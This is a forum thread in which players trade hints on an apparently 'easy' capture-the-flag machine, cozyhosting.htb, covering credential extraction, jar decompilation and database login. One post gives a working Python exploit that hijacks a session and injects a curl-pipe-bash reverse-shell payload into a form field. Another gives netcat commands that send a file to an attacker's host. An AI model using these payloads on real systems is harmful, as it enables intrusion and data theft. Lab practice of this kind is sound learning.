[booboobear]

So I've reached the point of extracting creds from the file, but cannot get psql to work - constant peer authentication errors. Any advice? Does the password need to be cracked first (have tried that too....)

This machine is ridiculous for an 'easy' box

[damnberoo]

So I've reached the point of extracting creds from the file, but cannot get psql to work - constant peer authentication errors. Any advice? Does the password need to be cracked first (have tried that too....)

This machine is ridiculous for an 'easy' box

Run pspy to see what's happening ,the creds from file is enough for logging in, also there's a section on hacktriks for upgrading ttys

---

I have been doing just that. Was able to find kanderson creds that are useless but nothing else

inside the app folder has a .jar file, you gotta reverse this file and get the creds for postgre

How do i extract or decompile the jar file?

just do: unzip filename.jar

It doesn't let me do it, i get permission denied every time.

download the file to your host and `jar xvf file.jar` will give you the pass for psql in plaintext

[booboobear]

Run pspy to see what's happening ,the creds from file is enough for logging in, also there's a section on hacktriks for upgrading ttys

---

Tried that, and already running an upgraded shell. All I can see is the location of the database file (which I don't have permission to access directly) and the config file, which doesn't seem to contain anything useful (there's a private key, but again I don't have access...)

I'm sure I'm missing something ridiculously obvious

[exer]

So I've reached the point of extracting creds from the file, but cannot get psql to work - constant peer authentication errors. Any advice? Does the password need to be cracked first (have tried that too....)

This machine is ridiculous for an 'easy' box

Run pspy to see what's happening ,the creds from file is enough for logging in, also there's a section on hacktriks for upgrading ttys

---

inside the app folder has a .jar file, you gotta reverse this file and get the creds for postgre

How do i extract or decompile the jar file?

just do: unzip filename.jar

It doesn't let me do it, i get permission denied every time.

download the file to your host and `jar xvf file.jar` will give you the pass for psql in plaintext

it's so obvious but i can't find a way to download the file to my host, i just forgot how lol srry
(nvm i figured it out to do it by opening a httpserver with python on the revshell)

[4ip0k]

I have been doing just that. Was able to find kanderson creds that are useless but nothing else

inside the app folder has a .jar file, you gotta reverse this file and get the creds for postgre

How do i extract or decompile the jar file?

just do: unzip filename.jar

It doesn't let me do it, i get permission denied every time.

1) Download the file to your computer:
open a listening port in new terminal: nc -vl port > filename.jar
on the attacked machine, do this: nc -N attacker_ip port < filename.jar
2) unzip filename.jar

[davidstark]

Here's the script to get reverse shell

#!/usr/bin/pyhton3

import sys
import requests
import json

if len(sys.argv) < 2:
    print(f"Usage {sys.argv[0]} LHOST")
    sys.exit(1)

url = f"http://cozyhosting.htb"

def get_session():
    res = requests.get(url+"/actuator/sessions")
    json_data = json.loads(res.text)
    for key, val in json_data.items():
        if val == "kanderson":
            return key
    return None

def get_shell():
    ssid = get_session()
    payload = {"host":"10.10.10.10","username":";$(curl${IFS}"+sys.argv[1]+"/rev.sh|bash)"}
    cookies = {"JSESSIONID":ssid}
    res = requests.post(url+"/executessh", cookies=cookies, data=payload)
    print(res.text)

if __name__ == "__main__":
    get_shell()

[booboobear]

I'm sure I'm missing something ridiculously obvious

And I was. Specifying -h localhost fixed the issue!

[znati]

I have the hash of kanderson and admin password but I don't know how to log in to ssh, I have tried using john to decrypt the hash but it doesn't work

[Addka72424]

The last non-spam response in the topic was more than a month ago. I close the topic as irrelevant to prevent spam. If this is not the case, please send a pm and I will open the topic for discussion again.